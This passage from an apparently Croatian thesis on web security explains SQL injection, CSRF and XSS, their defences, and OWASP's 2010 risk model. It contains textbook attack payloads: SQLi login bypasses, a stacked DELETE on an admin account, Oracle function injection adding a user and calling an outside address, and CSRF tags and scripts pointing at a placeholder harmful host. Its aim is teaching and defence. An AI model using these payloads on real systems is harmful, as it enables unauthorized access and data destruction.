Skrivanje strukture baze podataka od korisnika ili osoba kojima to nije potrebno Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 490. stranica 27 Koritenje sloenih lozinki, posebno bitno u sluaju kada je sustav izloen brojnim napadima Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 490. stranica 28 Dodatnaa mjera zatite. Stari podaci mogu biti zloupotrijebljeni - Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 490. stranica 29 Ovaj dio se odnosi na nekoliko mjera zatite, od kontrole pristupa, provjere ulaznih podataka i procjene mogunosti napada sustava to kao posljedicu ima definiranje odreenih mjera za smanjenje rizika i sprjeavanje rizinih situacija Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 490-491. stranica

26

16

3.2. Napad SQLi propustom

Postoje etiri najea tipa napada SQLi propustom. To su modifikacija SQL upita, umetanje koda, umetanje funkcijskih poziva i prekoraenje buffera. Modifikacija SQL upita znai iskoritavanje operacije UNION i promjena uvjeta iza klauzule WHERE s ciljem dobivanja podataka o nekom identitetu. U drugom sluaju imamo mogunost izmjene postavljenog upita, kada se dodavanjem koda u formu, pokuava izvriti dodatni kod koji je korisnik upisao. Na slian nain funkcionira umetanje funkcijskih poziva koji se koriste kod sustava koji rade nad ORACLE bazom podataka. Posljednji tip napada je vezan za buffer. Koristi se kod DBMS-a. Kako bi bilo jasno o emu smo govorili, u nastavku su dani primjeri napada.30

Modifikacija SQL upita Ovakav napad je mogu kod dinamikih SQL upita gdje se koristi kljuna rije UNION ili WHERE. Ako od korisnika traimo unos podataka, onda on moe to iskoristiti i dodati svoj kod i na taj nain modificirati postojei. Kao primjer navodimo sluaj gdje se korisnik prijavljuje u sustav. Tada sustav mora provjeriti da li upisani podaci odgovaraju podacima iz baze podataka. Da bi se taj dio realizirao, potrebno je koristiti kljunu rije WHERE, pomou koje provjeravamo da li neki zapis u polju odgovara nekom zapisu u bazi podataka.31

SELECT * FROM korisnici WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika' Na ovaj upit korisnik moe dodati kod i promjeniti upit na nain da dobije podatke koje eli ili ak da dobije sve podatke iz baze podataka. Iza postojeeg upita e izvriti i dodani kod ako korisnik u zadnje polje unese sljedei kod: 'OR 'a'='a';32 Na ovaj nain dobivamo upit koji izgleda ovako: SELECT * FROM korisnici

SQLi napad i tipovi SQLi napada - Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 492. stranica 31 Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 492. stranica 32 Primjeri SQLi napada http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC2004-10-93.pdf

30

17

WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika' 'OR 'a'='a'; Interpretacija upita:33 Prikai sve podatke iz tablice korisnici u bazi podataka gdje je korisnicko_ime ono ime koje korisnik upie i gdje je lozinka ista onoj koju korisnik unese ili vrijedi da je 'a'='a'. Ovaj posljednji dio je uvijek istinit pa emo se moi prijaviti u sustav bez obzira da li je korisniko ime valjano. Da bismo sprijeili ovakve napade, potrebno je implementirati odreene kontrole unosa podataka, te provjeravati da li korisnici unose znakove koji su kljuni za izvravanje SQL upita. Znamo da se u upitima koriste znakovi kao to su ; ili ' pa te znakove treba iskljuiti iz unosa. Kod pokuaja unosa zapisa sa tim znakovima, potrebno je u aplikaciji onemoguiti izvravanje koda, dok se ne zadovolji uvjet koji smo definirali za unos podataka.

Isti sluaj imamo ako se elimo prijaviti u sustav. Ako se provjerava identitek korisnika uz pomo korisnikog imena i lozinke, moemo pretpostaviti da upit izgleda ovako: String SQLQuery = SELECT Username FROM Users WHERE Username = + username + AND Password = + password + ;

Ovim upitom od korisnika zahtjevamo unos dva podatka, korisniko ime i lozinku. Varijable username i pasword zahtjevaju unos podataka od strane korisnika i na osnovu toga se prijavljujemo u sustav. Ako su podaci istiniti, moemo se prijaviti. Zakljuujemo da moemo modificirati upita tako da uvijek daje istinu i uvijek emo se moi prijaviti bez obzira na uneene podatke. Takav upit bi mogao izgledati ovako: SELECT Username FROM Users WHERE Username = '' OR''='' AND Password = '' OR ''=''34 Ovim se postie da kao rezultat dobijem uvijek istinu i omogueno nam je prijavljivanje u sustav. Kao korisniko ime i lozinku smo upisali OR '' = '', to znai da e prazan string uvijek biti prazan string i uvijek emo se moi prijaviti u sustav.

Primjer napravljen prema primjeru iz knjige - Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 492. stranica 34 Primjeri SQLi napada http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-200410-93.pdf

33

18

Ubacivanje koda Ovaj napad predstavlja veliki problem za sigurnost aplikacija i podataka, jer omoguuje izvravanje vie naredbi odjednom. Najee se koristi tako da se iza zavretka jedne naredbe upie kod za novu i nakon toga izvri. Time se moe naruiti stabilnost aplikacije, moe se naruiti integritet podataka, dostupnost, odnosno raspoloivost podataka. Napada moe nakon unosa podataka, odnosno izvrenja upita koji mu je ponuen, dodati novi i primjerice izbrisati podatke ili dio podataka iz tablice. Sada se postavlja pitanje kako e znati to treba brisati. Odgovor na ovo pitanje smo dali u prethodnom poglavlju. Kod napada modifikacijom upita, moemo doi do podataka o drugim korisnicima. Nakon toga, te iste podatke moemo iskoristiti da bismo brisali sve zapise ili dio zapisa koji se odnose na podatke koje smo dobili prethodno opisanim napadom.35

SELECT * FROM korisnici WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika'; DELETE * FROM korisnici WHERE korisnicko_ime = admin; Interpretacija upita:36 SELECT * FROM korisnici WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika'; To je dio upita koji je implementiran u aplikaciji. Ako pretpostavimo ili znamo da je u bazi upisan korisnik sa korisniim imenom admin, tada moemo nakon zadnjeg upisanog podatka, dodati kod koji e brisati podatke za korisnika ije korisniko ime znamo. DELETE * FROM korisnici WHERE korisnicko_ime = admin; Ovaj drugi dio upita je dodan na pravi upit, i on e brisati podatke o korisniku kojeg pokuavamo napasti. Ovaj napad nije mogu ako se radi o sustavu koji onemoguuje da se zaredom izvre dva upita.

Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 493. stranica 36 Primjer napravljen prema primjeru u knjizi Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 493. stranica

35

19

Umetanje poziva funkcije U SQL-u postoje ugraene funkcije. One vrlo esto mogu biti mjesto napada i predstavljati veliku ranjivost sustavu. Mogu se iskoristiti za izmjenu podataka u bazi podataka, a smatraju se osnovom izvoenja SQLi napada. Dan je primjer upita koji nije osjetljiv na napade, ali postoji mogunost da korisnik modificira upita na nain da doda poziv funkcije koja e omoguiti napad na sustav.37

SELECT TRANSLATE ('user input', '0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789') FROM dual;

Nakon to napada doda funkciju kako je prikazano u kodu ispod, napau su dane mogunosti da koristi odabrane znakove i upravlja nizom znakova i URL adresom.

SELECT TRANSLATE ('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || ' ' ), '0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789') FROM dual;

U posljednjem sluaju imamo situaciju kada napada moe dodavati nove korisnike i kad nema prava pristupa sustavu. Pozivom odgovarajuih funkcija, moe upravljati dodavanjem korisnika i upisati sebe kao novog korisnika sustava. Nakon toga moe pristupiti sustavu sa odabranim korisnikim podacima.

SELECT TRANSLATE ('' || user_package.add_user('admin', 'new_pass') || ' ' ), '0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789') FROM dual;

Prekoraenje buffera Ovaj napad podrazumjeva da smo prethodno izvrili napad umetanjem funkcije. Taj napad treba biti uspjeno izvren. Budui da u gotovo svakom DBMS-u postoje uskladitene procedure i funkcije kojima se mogu izazvati prekoraenja buffera, napada to moe iskoristiti i prepuniti buffer podacima kako bi nakon toga mogao
Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 494. stranica
37

20

izvriti vlastiti kod. Jedna od vrlo tetnih radnji koje napada moe biti iskljuivanje servera baze podataka. Moe doi do ruenja sustava, a u tom sluaju napada iz poruka koje mu se prikazuju moe saznati puno o bazi podataka i serveru na kojem se nalazi baza podataka.38

Sigurnost raunarskih sistema i mrea; D.Pleskonji, N.Maek, B.orevi, M.Cari, 2007. godina, Poglavlje 11, 495-496. stranica

38

21

3.3. to je to XSS/CRLF
CRSF (eng. Cross-Site Request Forgery) napadom korisnik eli nesvjesno izvriti odreene radnje na web aplikacijama. Ovim napadom se iskoritava korisnikov cookie zapis, a da korisnik nije toga svjestan, a izvodi se posredovanjem klijentskog programa. Na ovaj nain se mogu iskoristiti JavaScript forme, koje se mogu sakriti u posebnom i-frameu. Nain na koji ovo funkcionira moemo vidjeti tek kada uitamo stranicu u nesigurnom web pregledniku. Takva stranica mora sadravati kod koji e omoguiti pokretanje takvog zahtjeva. Ako na stranici nema nikakve kontrole i provjere sigurnosti i identiteta korisnika, zahtjev koji je poslan takvoj stranici se izvodi kao da ga je poslao klijent.

Spomenuli smo nesigurne preglednike, pa je vano objasniti kakvi se preglednici smatraju nesigurnima. To su oni preglednici koji ne zadovoljavaju principe sigurnog oblikovanja i ne provjerava autentinost primljenih HTTP zahtjeva. CSRF napad nastoji iskoristiti vezu, odnosno povjerenje ostvareno izmeu korisnika i stranice na webu. Napada ovom metodoom sebe predstavlja kao nekog drugog poiljatelja.

Tipini zahtjevi koji se mogu iskoristiti u ovom napadu su GET i POST. GET metoda slui za dohvat podataka, a prenosi se putem URL zahtjeva. To znai da je svaki korisnik interneta moe uhvatiti nekim alatima koji skeniraju promet po internetu. U drugom sluaju imamo POST metodu koja sadraj alje kroz poruku. Na taj nain smo je bolje zatitili od treih strana. GET metoda je puno bolja ako elimo iskoristiti ranjivost sustava i napasti web aplikaciju. Sadraj te metode se rijetko provjerava upravo iz injenice da slui samo za dohvaanje podataka. Na ovaj nain napada moe omoguiti izmjenu sadraja, pa se koritenje ove metode preporua samo onda kada je izmjena sadraja GET metode onemoguena.

Preduvjeti koji moraju postojati da bi se mogao izvesti CSRF napad su sljedei: 1. Stranica koja se napada ne provjerava izvor poruke, odnosno HTTP Referer zaglavlje 2. Web preglednik korisnika omoguuje lairanje tog zaglavlja,

22

3. Koristi se takav HTTP zahtjev koji izvodi promjene na napadnutoj stranici ili korisnikom raunu (npr. mijenja lozinku), 4. Napada ima pristup autentikacijskim kolaiima i sigurnosnim znakama preko kojih pristupa ranjivoj stranici i 5. Napada je u mogunosti navesti rtvu na otvaranje zloudne web poveznice.39

Slika 3.1. Shema CSRF napada40

CSRF napadi mogu se izvoditi na razliite naine. Danas postoji nekoliko metoda a spomenut emo one najznaajnije metode. To su: 1. pomou zlonamjerno oblikovanih HTML objekata, 2. pomou skriptnog koda umetnutog u HTML (JavaScript, PHP, JScript) i 3. zlouporabom automatskog generiranja zahtjeva u web pregledniku (XMLHttpRequest).41

39

Preduvjeti za izvoenjeCRSF-a, prema dimplomskom radu http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf 40 http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf 41 Preduvjeti za izvoenjeCRSF-a, prema dimplomskom radu http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf

23

1. Napadi HTML objektima CSRF napad je mogue izvesti na nekoliko naina. Ako detaljnije prouimo napad pomou HTTP GET metode, vidjet emo da samo tu postoje brojni naini. Ta metoda slui za dohvat podataka. Iskoritava HTML objekte. Kao primjer emo navesti img element pomou kojeg oblikujemo sadraj na web.42

<img src="slika.gif" alt="Slika" title="Slika" />

Ovaj element ima nekoliko kljunih atributa. Jedan od njih je src atribut u kojeg je pohranjen izvor, odnosno putanja datoteke koja se koristi za oblikovanje sadraja. Nakon to pokuamo uitati neku stranicu koja sadri taj objekt, moramo njemu pristupiti. Metodom umetanja koda moemo zamjeniti taj objekt nekim drugim i na taj nain omoguimo izvravanje podmetnutog koda. Ostali atributi nisu bitni jer ne mogu biti iskoriteni na nain da narue stabilnost i funkcionalnost sustava.

<img src="http://posluzitelj/stetna_naredba"/>

U ovom primjeru http://posluzitelj/stetna_naredba je adresa gdje se nalazi spremeljen neki drugi dokument, koji e omoguiti neku drugu akciju. Ona moe biti tetna za sustav jer moe sadravati destruktivne naredbe. Na isti nain se iskoritavaju propusti kod ostalih elemenata kao to su SCRIPT ili spomenuti IFRAME.

<iframe src="http://posluzitelj/stetna_naredba"/> <script src="http://posluzitelj/stetna_naredba"/>

42

Napadi HTML objektima http://www.cert.hr/filehandler.php?did=412

24

2. Napadi skriptnim kodom U ovom sluaju se radi o izvravanju JavaScript koda koji takoer moe iskoristiti nedostatke objekta Image. U nastavku je prikazan primjer koda koji iskoritava taj propust.

<script> var slika = new Image(); slika = http://posluzitelj/stetna_nadredba; <script> ili pomou objekta ActiveXObject u Microsoftovom JScript skriptnom jeziku <script> var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("POST", 'http://posluzitelj/stetni_kod', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4) { alert(xmlhttp.responseText); } }; xmlhttp.send(null); </script>43

Za ovaj problem postoji nain da ga barem sprijeimo prije nego mu sami dopustimo izvravanje. Danas internet preglednici omoguavaju da korisnik sam odlui da li eli da mu se JS kod izvrava odmah kada se stranica uita, odnosno automatski ili to eli runo pokretati. U drugom sluaju moe u nekim situacijama pretpostaviti ili prepoznati da se radi o opasnom kodu i moe onemoguiti njegovo izvravanje. To je jedna od mogunosti novijih preglednika, budui da se izvravanje ovakvog koda pokazalo prilino opasno za sigurnos web aplikacija, ali i sustava koji funkcioniraju na nain da internet koriste u potpunosti ili djelomino za svoje poslovanje.44

43 44

Kod preuzet sa interneta http://www.cert.hr/filehandler.php?did=412 Napadi skriptnim kodom http://www.cert.hr/filehandler.php?did=412

25

3. XMLHttpRequest XMLHttpRequest objekti sredinji su objekti AJAX programa. AJAX je skupina tehnologija koja omoguuje slanje i obradu HTML zahtjeva. Ako detalnije upoznamo tu tehnologiju, vidjet emo da ima dosta prednosti u odnosu na druge tehnologije. Jedna od njih je mogunost da korisnici ne moraju stalno uitavati stranice kada neki element ele uitavati. HTTP zahtjeva se alje i to se odvija predavanjem web formulara ili otvaranjem web poveznice. XMLHttpRequest objekti se koriste kako bi se HTTP zahtjevi generirali automatski u web pregledniku. Taj postupak se dogaa u pozadini, tako da korisnik nije toga svjestan i to mu olakava rad.

Primjer uporabe ove funkcije u Internet Exploreru dan je u programskom kodu koji lijedi

<script> xmlhttp=new XMLHttpRequest() ; xmlhttp.open(GET, http://urlAdresa,true); xmlhttp.onreadystatechange = ispisiOdgovor(); xmlhttp.send(null); function ispisiOdgovor(xmlhttp,element_id) { var element = document.getElementById(element_id); if (xmlhttp.readyState == 4) { var tekst = http.responseText; dokument.write.tekst; } } </script>

Ovim kodom smo prikazali jednu od estih funkcija. To je funkcija open i slanje odgovora koji se postie funkcijom send. Glavna funckija je ispisOdgovor i onda se poziva kod svake promjene prikazanog svojstva.

26

3.4. Napad iskoritavanjem XSS/CRLF-a

XSS napad je vezan za izvravanje CSRF napada. Za ovu metodu napada moemo rei da daje napadau dodatne mogunosti kada je u pitanju CSRF napad. XSS je na neki nain posrednik, a ogranien je onim kodom koji je ubaen u ranjivu aplikaciju na webu. Napadau daje mogunost da napada raunalo rtve samo onda dok rtva ima otvoren preglednik. Tada je napada povezan sa udaljenom lokacijom i moe preusmjeriti korisnika na neke druge lokacije te tamo iskorisiti ranjivosti za neke druge metode napada. Neke mogunosti ovakvog napada su:

1. Napada moe proitati HTML kod iz drugog internet preglednika 2. Moe postaviti odreeni sadraj ili brisati postojeu u drugom prozoru. Ovo se najee koristi kada napad eli mijenjati ili unititi podatke koje korisnik unosi u neke formulare. 3. Isto tako je napadau omogueno kreiranje varijabli i pozivanje funkcija 4. Posljednje se odnosi na stvaranje novih sadraja pomou metode document.write.45

Slika 3.2. Curenje informacija kod XSS napada46

Napad iskoritavanjem propusta XSS/CRLF-a http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf 46 http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf

45

27

Za XSS je bitno napomenuti da se ovdje radi o dvosmjernoj komunikaciji. rtva na ekrano dobiva otvorenu stranicu u kojoj je skriven zloudni kod. Pretpostavimo da se za napad koristila metoda pomou slike ili javascript koda. Tada je napadau omogueno da na raunalu rtve otvori novu stranicu sa takvim kodom. Na slici dolje je prikazana komunikacija izmeu napadaa i zaraene web aplikacije sa rtvinim preglednikom.

Slika 3.3. Dvosmjerna komunikacija XSS posrednikom47

Ovakva metoda ne moe sakriti napadaa od korisnika, pa su razvijene napredne metode XSS napada. One omoguuju napadau da sakrije sve svoje podatke i anonimno napadne rtvu. Za to mu je potrebna lokacija za sakrivanje. Slika ispod prikazuje kako to funkcionira.48

http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf Opis prikazane slike http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf

48

47

28

Slika 3.4. Scenarij naprednog XSS posrednika49

Napad prikazuje sljedeu situaciju. Napada ima raunalo na kojem se nalazi aplikacija kojojm e napasti rtvu. Ta aplikacija omoguujue itanje i pisanje po stranicama aplikacije. IFRAME3 okvir je onaj okvir kojeg se koristi za uitavanje druge aplikacije koja je ranjiva i nad kojom se moe izvesti XSS napad. IFRAME2 okvir slui kao komunikacijski kanal. Napada ima mogunost itati i pisati po IFRAME1 okviru. Nakon ovog koraka nova e se aplikacija uitati u IFRAME2 okvir. Rekli smo da je to komunikacijski okvir. U njemu se otvara novi IFRAME4 okvir koji uitava dokumente sa nove aplikacije. Nakon uitavanja URL-a, prva aplikacija e primiti naredbe od napadaa i sad zna kako i kada napasti korisnika. Napada ga preko IFRAME2 okvira koji se dodaje u naredbi u URL. Nakon ovog koraka druga aplikacija ima kontrolu IFRAME2 okvir, te moe dohvatiti napadaeve naredbe. Rezultat naredbe se dodaje u URL adresi. Jedna zanimljiva injenica ovog
49

http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf

29

napada je da je IP adresa i lokacija napadaa potpuno nepoznata drugoj aplikaciji, te korisnik nikako ne moe saznati tko ga je napao. Naravno, ne moemo nikada biti sigurno da se to nee otkriti, ali u tom trenutku korisnik nije svjestan da napada neto radi. To je postignuto tako to je jedna od aplikacija kao posrednik.50

Interpretacija slike prema tekstu diplomskog rada http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf

50

30

3.5. Zatita od XSS/CRLF-a

Kao i u svakom drugom sluaju, kada je u pitanju sigurnost informacijskih sustava, tako i kod web aplikacija, najbitnije je odrediti neke mjere ili smjernice za poboljanje razine sigurnosti i definirati to poduzeti u odreenim situacijama. Osim definiranja mjera, moemo provjeravati kod. Prije izvravanja ili tijekom izvravanja se kod moe pregledati. Svakako je dobro provjeriti kod prije nego se izvri na raunalu. Ponekad ne moramo dobro poznavati podruje da bismo uili probleme. Ve na temelju nekoliko informacija o napadima ili posljedica koje rade takvi napadi, moemo uoiti ako je nae raunalo zaraeno. Vrlo bitno je i redovito ispitivanje programa i njihovog rada. To se moe postii razliitim testiranjima i provjerama od strane strunjaka.

Danas postoje brojne organizacije koje se bave sigurnou aplikacija i informacijskih sustava, a svakako jedna od najpoznatijih je OWASP. To je neprofitna organizacija koja se bavi problemima vezanim za sustave na webu i ranjivosti takvih sustava. Na internetu objavljuju brojne programe i dokumentaciju koja nastoji zatititi web aplikacije i cijele sustave koji rade na webu, otkrivaju ranjivosti i odravaju sustave sigurnima. Isto tako i na ovom podruuju definiraju niz mjera i smjernica kako neto sprijeiti i to uiniti u incidentnim situacijama. U nastavku emo neto vie rei o OWASP-u.

Zatita s korisnike strane

O ovom nainu zatite moemo govoriti samo ako su korisnici svjesni svoje odgovornosti i ako znaju da i oni moraju sudjelovati u mjerama zatite sustava. Pri tome se misli da moraju razmisliti o tome kakve mailove otvaraju. Neodgovornim ponaanjem mogu uiniti sustav nesigurnim. Neki od koraka koje oni mogu uiniti je brisanje povijesti u internet pregledniku, provjera i kontrola autentikacijskih oznaka, redovite nadogradnje internet preglednika. Sve su to mali koraci koji znatno mogu utjecati na sigurnost sustava i raunala na kojem radimo. Jo jedna od mjera je iskljuivanje opcije automatskog izvravanja Javascript koda ili uitavanja slika sa vanjskih odredita. Na kraju moemo jo napomenuti da ove mjere na mogu u

31

potpunosti eliminirati prijetnje i ranjivosti, ali mogu utjecati na veu razinu sigurnosti sustava.

Zatita posluitelja web aplikacije

Neke od najee primjenjivanih mjera zatite na strani posluitelja su: 1. Ponovno zatraiti prijavu korisnika prilikom svakog kritinog GET i POST zahtjeva 2. Ograniiti vrijeme valjanosti autentikacijskih kolaia 3. Provjera izvor poruke (HTTP Referer zaglavlje) 4. Uvoenje dodatne tajne sigurnosne znake koja se pridruuje identifikacijskim oznakama 5. Sjednice i zahtjeva, 6. Koritenje novih znaki u svakoj novoj predaji obrasca ak i unutar iste sjednice, 7. Odbijanje zastarjelih znaki i 8. Izbjegavanje prikazivanja sjednikih atributa u URL poveznici. Preporua se njihovo slanje u skrivenim poljima web obrazaca.51

51

http://os2.zemris.fer.hr/ns/websec/2009_tomic/otkrivanje_ranjivosti.html

32

4. OWASP projekti
4.1.OWASP Top 10

OWASP Top 10 je lista deset najkritinijih sigurnosnih rizika web aplikacija prema miljenju OWASP zajednice. Finalna inaica trenutno aktualne verzije, OWASP Top 10 for 2010, objavljena je 19.04.2010.

Prema autorima Top 10 projekta, njihov cilj je podii svijest o nesigurnosti aplikacija kroz identifikaciju nekih od najkritinijih rizika s kojima se susreu organizacije. Top 10 projekt referenciran je u mnogim standardima, knjigama, alatima i organizacijama, iji popis se moe nai na stranicama projekta52. Prvo izdanje OWASP Top 10 bilo je u 2003. godini, manje izmjene napravljene su u 2004. i 2007. godini dok je zadnja verzija izraena u 2010. godini.

Top 10 projekt trebao bi organizacijama posluiti kao startna toka u podizanju sigurnosti aplikacija. Programeri bi se kroz njega trebali upoznati sa najveim rizicima i pogrekama drugih aplikacija, no to nije projekt koji bi osigurao apsolutnu sigurnost aplikacija. Zbog toga organizacije trebaju kontinuirano ulagati u sigurnost, obuku zaposlenika, alate i ostale procese vezane za sigurnost aplikacija.

Za svaki rizik koji se navodi u Top 10 listi naveden je detaljan opis. To izmeu ostalog ukljuuje i nekoliko konkretnih osobina koje su rangirane, kao to su: teina samog napada iz napadaeve perspektive (Attack Vector), uestalost propusta (Weakness Prevalence), zatim koliko je teko detektirati propust (Weakness Detectability), te utjecaj ukoliko se uspjeno izvri napad (Technical Impact). Za svaku od ovih osobina imamo tri razine utjecaja, to je prikazano u tabeli 1.

52

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#Users_and_Adopters

33

Tablica 4.1: Izvor: OWASP Top 10 - 2010 Document53 Teina napada Lak Srednje teak Teak Attack Vector Easy Average Difficult Uestalost propusta Rasprostranjen Uobiajen Neuobiajen Weakness Prevalence Widespread Common Uncommon Detekcija propusta Laka Srednje teka Teka Weakness Detectability Easy Average Difficult Tehniki utjecaj Ozbiljan Umjeren Malen Technical Impact Severe Moderate Minor

U tablici za svaki rizik navedeno je i tko je mogui napada, kao i utjecaj na sam posao organizacije. Uz to, za svaki sigurnosni propust u listi dostupan je i vodi kako provjeriti da li neka aplikacija ima problema u tome podruju, kako izbjei takav problem, standardni primjer takvih propusta te reference koje upuuju itatelja na daljnje izvore koji govore o spomenutom problemu.

53

http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf

34

4.1.1. Nain utvrivanja rizika OWASP grupa kod Top 10 liste eksplicitno navodi da to nije lista najeih propusta u aplikacijama, nego lista propusta sa najveim rizikom. Slijedi kratak opis kako oni utvruju razinu rizika za pojedini potencijalni propust u aplikacijama.

Kao standardni model rizika navodi se sljedee: Rizik = Vjerojatnost * Utjecaj Koraci koji se izvravaju kako bi se utvrdio cjelokupna ozbiljnost rizika su sljedei: 1. Identificiranje rizika Trebaju se prikupiti informacije o napadau, koje napade oni koriste, ranjivost koja je ukljuena i utjecaj uspjenog napada na posao. Mogue su grupe napadaa ili ak viestruki utjecaji na posao. Openito gledano, najbolje je biti oprezan i prouiti najgori scenarij koji se moe desiti kod uspjenog napada. 2. Faktori za procjenu vjerojatnosti Kada se identificira potencijalni rizik treba odrediti vjerojatnost njegovog nastupanja. Za to se koriste sljedei faktori: a) Faktori vezani za napadaa: Koliko je tehniki vjet napada, koliko je motiviran nai i iskoristiti sigurnosne propuste, koji resursi i prilike su potrebni kako bi napada naao i iskoristio slabosti te koliko je velika grupa napadaa. b) Faktori ranjivosti: Koliko je lako napadau otkriti ranjivost, koliko je teko napadau zapravo iskoristiti ranjivost, koliko je ranjivost poznata napadau te koliko je vjerojatno da e napad biti otkriven. 3. Faktori za procjenu utjecaja Kada se odreuje utjecaj uspjenog napada, treba promotriti tehniki utjecaj na aplikaciju, podatke koje ona koristi i funkcije koje prua, kao i poslovni utjecaj na posao i organizaciju koja koristi aplikaciju. Na kraju, poslovni utjecaj je vaniji. No ponekad je njega teko procijeniti, a u tome sluaju treba im detaljnije opisati tehnike rizike kako bi se utvrdio utjecaj na posao. 35

 Faktori koji se trebaju promotriti su sljedei: a) Tehniki faktori: Koliko podataka moe biti razotkriveno i koliko su oni vani, koliko podataka se moe otetiti i do koje mjere, koliko usluga moe biti izgubljeno i koliko su one vane te da li se akcije napadaa mogu povezati sa nekom osobom? b) Poslovni faktori: Koliko financijske tete e prouzroiti iskoritenje slabosti aplikacije, da li bi iskoritenje takve slabosti otetilo ugled te tako natetiti organizaciji, kolika je izloenost zbog neslaganja te koliko osobnih informacija moe biti razotkriveno? 4. Utvrivanje jaine rizika U ovom koraku koriste se prethodno utvreni faktori za procjenu rizika i utjecaja kako bi se utvrdila sveukupna jaina rizika. Za vjerojatnost i utjecaj utvruje se da li su niski, srednji ili visoki. Nakon toga pomou sljedee tablice utvruje se jaina rizika Tablica 4.2. Jaina rizika
Ukupna jaina rizika VISOK SREDNJI Utjecaj NIZAK Zabiljeka NISKA Niska SREDNJA Srednja VISOKA Srednja Niska Visoka Srednja Kritino Visoka

Vjerojatnost

5. Utvrivanje to treba popraviti Nakon klasifikacije rizika aplikacije, treba napraviti prioritetnu listu onoga to treba popraviti. Kao generalno pravilo, prvo se popravljaju kritiniji rizici. Nema prevelike koristi od popravljanja manje vanih rizika, ak ako su jednostavni za popraviti ili jeftini, ako vrlo vani rizici ostaju nerazrijeeni. Neke rizike se ak ne isplati popravljati. Ako je cijena popravka rizika 100.000 kn, a teta nastala njegovim iskoritavanjem 1000 kn po godini, trebalo bi 100 godina da se povrati investicija u popravljanje rizika 36

aplikacije. Naravno uvijek treba imati na umu da se uzmu svi mogui trokovi iskoritavanja nekog propusta, jer indirektni trokovi kao smanjivanje ugleda organizacije mogu imati dugorone i velike posljedice. 6. Prilagoavanje modela za utvrivanje rizika Poto je svaka organizacija drugaija, one se ohrabruju da prilagode ovaj model za utvrivanje rizika svojim potrebama dodavanjem potrebnih novih faktora, prilagoavanjem opcija i vaganjem pojedinih faktora.

37

4.1.2. OWASP Top 10 Application Security Risks 2010 Slijedi popis 10 najveih sigurnosnih rizika prema OWASP Top 10 projektu, a u nastavku neto detaljniji opis svakog od njih. 1) Injection Injection propusti, kao to su SQL ili LDAP injection dogaaju se kada se interpreteru poalju nesigurni podaci kao dio naredbe ili upita. Interpreter klijenta te podatke moe takve podatke izvriti i time pokrenuti neeljene naredbe ili neautorizirano pristupiti podacima. 2) Cross-Site Scripting (XSS) XSS greke dogaaju se kada aplikacija uzme nesigurne podatke i proslijedi ih web browseru bez ispravne validacije. Pomou XSS napada omoguuje se izvravanje skripti na korisnikovom browseru koje mogu ukrasti korisnike sesije, promijeniti same web stranice ili preusmjeriti korisnika na maliciozne stranice. 3) Broken Authentication and Session Management Funkcije u aplikacijama koje su vezane uz autentikaciju i upravljanje sesijama su esto pogreno implementirane, to napadaima omoguuje kompromitiranje lozinki i kljueva ili iskoritavanje ostalih implementacijskih mana kako bi se doznao korisnikov identitet. 4) Insecure Direct Object References Direct Object Reference javlja se kada programer izloi unutarnji objekt kao to je datoteka, direktorij ili klju baze podataka. Bez provjere prava pristupa ili neke druge vrste zatite, napada moe manipulirati tim referencama kako bi neautorizirano pristupao podacima. 5) Cross-Site Request Forgery (CSRF) CSRF napad prisiljava ulogiran browser rtve da ranjivoj web aplikaciji poalje krivotvoren HTTP zahtjev koji ukljuuje rtvin kolai sesije i bilo koje druge informacije za autentikaciju. To napadau omoguuje da prisili rtvin browser na generiranje zahtjeva za koje ranjiva aplikacija misli da su valjani zahtjevi rtve.

38

